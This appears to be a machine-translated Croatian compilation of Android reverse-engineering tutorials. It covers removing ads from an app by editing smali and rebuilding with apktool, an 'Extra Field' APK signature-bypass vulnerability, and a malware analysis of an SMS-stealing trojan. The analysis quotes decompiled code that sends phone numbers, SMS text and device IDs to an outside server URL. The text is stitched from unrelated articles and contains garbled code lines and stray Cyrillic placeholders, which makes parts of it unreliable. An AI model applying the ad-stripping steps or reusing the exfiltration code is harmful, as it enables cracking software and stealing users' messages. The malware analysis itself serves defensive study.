Obično autori aplikacija stvaraju posebne klase za prikazivanje reklama i pozivaju metode tih klasa kada se aplikacija ili jedna od njezinih “aktivnosti” (jednostavno rečeno, zasloni aplikacije) pokrene. Pokušajmo pronaći ove klase. Idemo u direktorij smali, zatim com (org sadrži samo otvorenu grafičku biblioteku cocos2d), pa kauf (ovdje je, jer je ovo ime programera i sav njegov kod) - i evo ga, marketinški imenik. Unutra nalazimo hrpu datoteka s nastavkom smali. To su klase, a najistaknutija od njih je klasa Ad.smali iz čijeg naziva je lako pogoditi da je ona ta koja prikazuje reklame.

Mogli bismo promijeniti logiku njezina rada, ali bi bilo puno lakše jednostavno ukloniti pozive bilo koje od njegovih metoda iz same aplikacije. Stoga napuštamo marketinški imenik i idemo u susjedni imenik čestica, a zatim na virtualtorch. Ovdje posebnu pozornost zaslužuje datoteka MainActivity.smali. Ovo je standardna Android klasa koju kreira Android SDK i instalira kao ulazna točka u aplikaciju (analogno glavnoj funkciji u C). Otvorite datoteku za uređivanje.

Unutra se nalazi smali kod (lokalni asembler). Prilično je zbunjujuća i teška za čitanje zbog svoje prirode niske razine, pa je nećemo proučavati, već ćemo jednostavno pronaći sve reference na klasu Ad u kodu i komentirati ih. U pretragu unesemo redak "Oglas" i dođemo do retka 25:

Polje privatni oglas:Lcom/kauf/marketing/Oglas;

Ovdje se kreira oglasno polje za pohranjivanje objekta klase oglasa. Komentiramo stavljanjem znaka ### ispred retka. Nastavljamo potragu. Redak 423:

Nova instanca v3, Lcom/kauf/marketing/Ad;

Ovdje se događa stvaranje objekta. Idemo komentirati. Nastavljamo pretragu i nalazimo u redovima 433, 435, 466, 468, 738, 740, 800 i 802 pozive metodama klase Ad. Idemo komentirati. Izgleda da je to to. Uštedjeti. Sada paket treba ponovno sastaviti i provjeriti funkcionalnost i prisutnost oglašavanja. Radi čistoće eksperimenta, vraćamo red uklonjen iz AndroidManifest.xml, sastavljamo paket, potpisujemo i instaliramo.

Naš zamorac. Oglašavanje vidljivo

Ups! Oglašavanje je nestalo samo dok je aplikacija radila, ali je ostalo u glavnom izborniku koji vidimo kada pokrenemo softver. Dakle, čekaj, ali ulazna točka je klasa MainActivity, a reklama je nestala dok je aplikacija radila, ali je ostala u glavnom izborniku, dakle ulazna točka je drugačija? Da biste identificirali pravu ulaznu točku, ponovno otvorite datoteku AndroidManifest.xml. I da, sadrži sljedeće retke:

Oni nam govore (i, što je još važnije, androidu) da aktivnost pod nazivom Start treba pokrenuti kao odgovor na generiranje namjere (događaja) android.intent.action.MAIN iz kategorije android.intent.category.LAUNCHER. Ovaj se događaj generira kada dodirnete ikonu aplikacije u pokretaču, tako da određuje ulaznu točku, naime klasu Start. Najvjerojatnije je programer prvo napisao aplikaciju bez glavnog izbornika, čija je ulazna točka bila standardna klasa MainActivity, a zatim je dodao novi prozor (aktivnost) koji sadrži izbornik i opisan u klasi Start, te ga ručno napravio unosom točka.

Otvorite datoteku Start.smali i ponovno potražite redak "Ad", nalazimo u redovima 153 i 155 spominjanje klase FirstAd. Također se nalazi u izvornom kodu i, sudeći po nazivu, odgovoran je za prikazivanje oglasa na glavnom ekranu. Pogledajmo dalje, postoji kreiranje instance klase FirstAd i namjera koja je, prema kontekstu, povezana s tom instancom, a zatim oznaka cond_10 na koju se uvjetni prijelaz provodi točno prije stvaranja instance razreda:

If-ne p1, v0, :cond_10 .line 74 nova instanca v0, Landroid/content/Intent; ... :cond_10

Najvjerojatnije, program nekako nasumično izračunava treba li se oglašavanje prikazati na glavnom zaslonu, a ako ne, skače izravno na cond_10. U redu, pojednostavimo njen zadatak i zamijenimo uvjetni prijelaz bezuvjetnim:

#ako-ne p1, v0, :cond_10 goto:cond_10

U kodu se više ne spominje FirstAd, pa zatvaramo datoteku i ponovno sastavljamo našu virtualnu baklju pomoću apktoola. Kopirajte ga na svoj pametni telefon, instalirajte, pokrenite. Voila, sva reklama je nestala, na čemu nam svima čestitamo.

Rezultati

Ovaj članak samo je kratki uvod u metode hakiranja i modificiranja Android aplikacija. Mnogi problemi ostali su iza kulisa, poput uklanjanja zaštite, raščlanjivanja maskiranog koda, prevođenja i zamjene resursa aplikacije, kao i modificiranja aplikacija napisanih s koristeći Android NDK. Međutim, ako imate osnovno znanje, samo je pitanje vremena da sve shvatite.

Extra Field je ranjivost u Google Androidu koja napadačima omogućuje izmjenu sadržaja instalacijski paket bilo koju aplikaciju za ovaj OS bez oštećenja digitalni potpis. Koristeći ovu ranjivost, pisci virusa mogu distribuirati trojance uvođenjem zlonamjerne komponente u bilo koju legitimnu ili pouzdanu aplikaciju.

Dr.Web antivirus za Android ne može eliminirati ovu ranjivost, budući da se otkriva na razini samog operativnog sustava, ali uspješno detektira i uklanja zlonamjerne programe koji se šire uz njegovu pomoć čak i kada pokušaju prodrijeti i pokrenuti se na zaštićenom uređaju. .

Tehnički detalji

Operativne distribucije aplikacija Google sustavi Android se distribuira u obliku .APK datoteka, koje su ZIP arhiva koja sadrži sve komponente potrebne za rad aplikacije. Tijekom procesa instalacije programa, oni se izdvajaju iz arhive i njihovi kontrolni zbrojevi se provjeravaju na posebnoj listi. Svaka aplikacija ima svoj digitalni potpis.

Iskorištavanje ranjivosti Dodatno polje, napadači mogu promijeniti strukturu APK arhive: dodavanjem u njezino servisno polje vrijednosti jedne od originalnih komponenti programa (osobito datoteke classes.dex) bez prva tri bajta, dok istovremeno postavljaju modificiranu verziju ove datoteke na svoje mjesto, operativni sustav percipira potonju kao legitimnu i dopuštenu za instalaciju. Iako je potencijalna upotreba ove ranjivosti ograničena veličinom dex datoteke, koja ne smije biti veća od 65.533 bajta, kibernetički kriminalci zainteresirani za napad mogu je lako iskoristiti uzimajući kao osnovu bezopasni program ili igricu koja ima komponentu odgovarajuće veličine.

Datoteka classes.dex sadrži kompajlirani kod aplikacije unutar APK datoteke. Zaglavlje APK paketa uključuje prostor koji pohranjuje naziv datoteke s nastavkom .dex, kao i polje koje se naziva dodatno polje koje pohranjuje sadržaj datoteke classes.dex i popis klasa koje koristi aplikacija. Ako se polje zaglavlja skrati za tri bajta, mijenja se duljina odgovarajućeg polja, što napadačima omogućuje da uključe izvorni classes.dex u dodatno polje, kao i zlonamjernu kopiju ove datoteke, čiji će dio također biti postavljen u dodatnom polju. Izmijenjeno polje može sadržavati klase koje su stvorili napadači i koje nose zlonamjernu funkcionalnost. Prilikom instaliranja aplikacije operacijski sustavčita sadržaj ovog polja, uslijed čega se na napadnuti uređaj instalira datoteka classes.dex modificirana od strane napadača.

Izgubili ste izvorni kod svog programa i morate vratiti kôd. Preuzeli ste program s virusom i želite saznati što radi.

Android programi se distribuiraju u arhivama. Ove arhive imaju ekstenziju ".apk". Takve datoteke nisu šifrirane i zapravo su zip datoteke. Možete preimenovati apk datoteku u zip kako biste to potvrdili.

Morate dublje proučiti APK datoteku i dobiti neke podatke. Možete vježbati na mačkama. Uzmimo naš program "Hello Kitty" i pronađimo njegovu apk datoteku u mapi projekta app\build\outputs\apk i premjestite ga u zasebnu mapu za eksperimente.

Nakon raspakiranja arhive možete vidjeti strukturu aplikacije i naići na poznate datoteke. Čak i izdvojiti neke datoteke za gledanje. Na primjer, u mapi res/drawable-hdpi-v4 Našao sam svoju sliku pinkhellokitty.png. Čini se da je to sreća. Ali čekaj, raduj se. Ako nema problema sa slikama, onda će čitanje XML datoteke biti problem. Možete vidjeti neke retke, ali općenito je tekst potpuno nečitljiv. Pa krenimo prvo drugim putem.

Jer prilagođene aplikacije za Android izvršavaju se u Java stroju, tada APK datoteke nasljeđuju sve karakteristične značajke JAR datoteka.

Sadržaj arhive obično izgleda ovako:

META-INF direktorij sadrži:

CERT.RSA - aplikacijski certifikat
CERT.SF - kontrolni zbrojevi resursnih datoteka (slike, zvukovi itd.)
MANIFEST.MF - servisne informacije koje opisuju samu apk datoteku

Analiza zlonamjernog softvera

Kao primjer, uzmimo program sumnjivo.apk, koji razni antivirusi otkrivaju kao zlonamjerni program.

Da biste bolje razumjeli što točno tražite, morate analizirati datoteku "AndroidManifest.xml" - vidjeti koja su točno dopuštenja potrebna za aplikaciju koja se analizira. Ova datoteka binarni, a ne regularni tekstualni xml. Da biste ga pročitali, trebate upotrijebiti uslužni program konzole "aapt" iz Android SDK-a. Nalazi se u direktoriju "platformski alati". Budući da nema grafičkog sučelja, naredbu je potrebno unijeti u konzolu. Na primjer, za Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Naravno, morate zamijeniti svoje staze. U Linuxu će naredba biti ista s očiglednim razlikama (neće biti slova pogona niti ekstenzije "exe" za uslužni program). Radi veće pogodnosti, izlaz se može preusmjeriti u datoteku:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

U datoteci morate pronaći odjeljak "Android manifest" i potražiti popis dopuštenja. U analiziranoj datoteci to izgleda ovako:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: "android.permission.RECEIVE_SMS")

Iz ove informacije postaje jasno da program može primati stanje telefona (ovo uključuje, na primjer, "telefon u načinu poziva", "telefon u načinu primanja podataka"). Ova dozvola također je potrebna za dobivanje telefonskog broja na kojem je program pokrenut, rad s mrežom i praćenje pristizanja SMS-a. Upravo se na ove aspekte treba usredotočiti u daljnjoj analizi.

Kako biste dobili pristup kodu, morate izvršiti dva koraka - pretvoriti apk datoteku u jar datoteku i dekompilirati dobiveni bajt kod u oblik koji je čitljiviji ljudima.

Upotrijebimo konverter “dex2jar”:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Pretvorena datoteka bit će smještena u istom direktoriju kao i izvorna datoteka. ".dex2jar.jar" će biti dodan u njegov naziv, tj. u ovom primjeru to će biti "suspicious.apk.dex2jar.jar".

Ova se datoteka može otvoriti pomoću dekompilatora. Hijerarhija paketa u prozoru dekompilatora izgleda ovako:


Ovdje završavaju pripremni koraci - daljnji uspjeh ovisi samo o vašem poznavanju Jave i sposobnosti korištenja tražilice.

Srećom, uzorak odabran za primjer prilično je skromne veličine - konačni jar ima samo 7,01 KB.

U programu je samo šest razreda. Isključimo one koji nisu od interesa. Ovo je R klasa koja ispisuje samo identifikatore svih resursa. Također možete isključiti razred iz razmatranja Konfiguracija, koji sadrži konfiguraciju izgradnje.

Pogledajmo pobliže preostale tri klase.

Aktivacija

Ovu klasu pokreće događaj onCreate(), odnosno odmah nakon početka aplikacije.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("telefon");- stvara lokalni upravitelj telefonije, koji pohranjuje podatke uređaja.

str1 = localTelephonyManager.getDeviceId();- odabire identifikacijski broj uređaja iz primljenih podataka i stavlja ga u red str1

Slijedi ciklus koji dijeli DeviceId na dijelove od četiri broja, umetanjem crtice "-" između njih, odnosno od XXXXXXXXXXXXXXXX dobivamo XXXX-XXXX-XXXX-XXXX. Dobiveni niz brojeva i crtica prosljeđuje se TextView sa ID 2131034112.

SmsReceiver

Ova klasa se aktivira kada stigne SMS poruka, događaj onReceive().

Zadatak ove klase je nadzirati dolazne SMS poruke i, ako se otkriju, pokrenuti klasu MainService, prosljeđujući mu pokazivač na novu dolaznu poruku.

MainService

Ova klasa je prilično velika, pa je neću navoditi u cijelosti. Odmah nakon poziva pokreće podklasu “SmsBlockerThread” koja blokira obavijest o dolaznom SMS-u tako da korisnik ne bude obaviješten o novom dolaznom SMS-u.

Zatim dolazni SMS obrađeno na ovaj način:

String str1 = localSmsMessage.getOriginatingAddress();- telefonski broj primatelja (tj. telefonski broj na kojem je Trojanac instaliran) stavlja se u varijablu str1.

String str2 = localSmsMessage.getMessageBody();- tijelo poruke je smješteno u str2 varijablu

Zatim se stvaraju povezani parovi lokalno OsnovnoImeVrijednostPar1 I lokalno OsnovnoImeVrijednostPar2 u koje su smještene vrijednosti

F0=<номер телефона>b0=<текст сообщения>

Ti se parovi pohranjuju u polje localArrayList, kojemu se par kasnije dodaje lokalno OsnovnoImeVrijednostPar3, predstavlja id=

U isto vrijeme, kao što vidite, DeviceId dobiva se iznova, umjesto da se koristi ono što je primljeno u razredu Aktivacija. Završava pozivanjem metode postRequest() iz prošlog razreda ServerSession:

Pokušajte ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Isti niz parova prosljeđuje se kao parametar, u kojem su telefonski broj, sadržaj SMS-a i identifikator uređaja.

ServerSession

Ova klasa ima dvije metode: initUrl() koji vraća dio veze "(http://softthrifty.com/security.jsp)":

Javni statički niz initUrl() ( return "http://softthrifty.com/security.jsp"; )

i sjajna metoda postRequest(), koja je pozvana iz razreda MainService. Unatoč veličini, zadatak postRequest() jednostavno - pošalji poslužitelju pomoću veze koju vraća metoda initUrl(), podataka dodavanjem parova iz polja prikupljenog u MainService. Odnosno, samo slijedite vezu:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Poanta

Dakle, ovaj trojanac presreće SMS i šalje zahtjev poslužitelju, u kojem prenosi broj zaraženog telefona, sadržaj SMS-a i identifikator zaraženog telefona. Ovakvo ponašanje može biti znak bankarskog trojanca koji napada dvofaktorsku autentifikaciju. Za uspješan napad moraju biti ispunjeni sljedeći uvjeti:

1) napadač mora zaraziti žrtvino računalo kako bi presreo internetske bankovne podatke;
2) napadač mora zaraziti telefon žrtve kako bi presreo SMS s potvrdnim kodom od banke;
3) napadač mora na neki način povezati korisnika zaraženog računala i zaraženog telefona kako bi saznao iz koje je vjerodajnice internetskog bankarstva ovaj kod za potvrdu;

Zbog svoje veličine i očitosti izvršene aktivnosti, takav je uzorak vrlo prikladan za demonstraciju osnovnih tehnika za analizu zlonamjernog softvera za Android.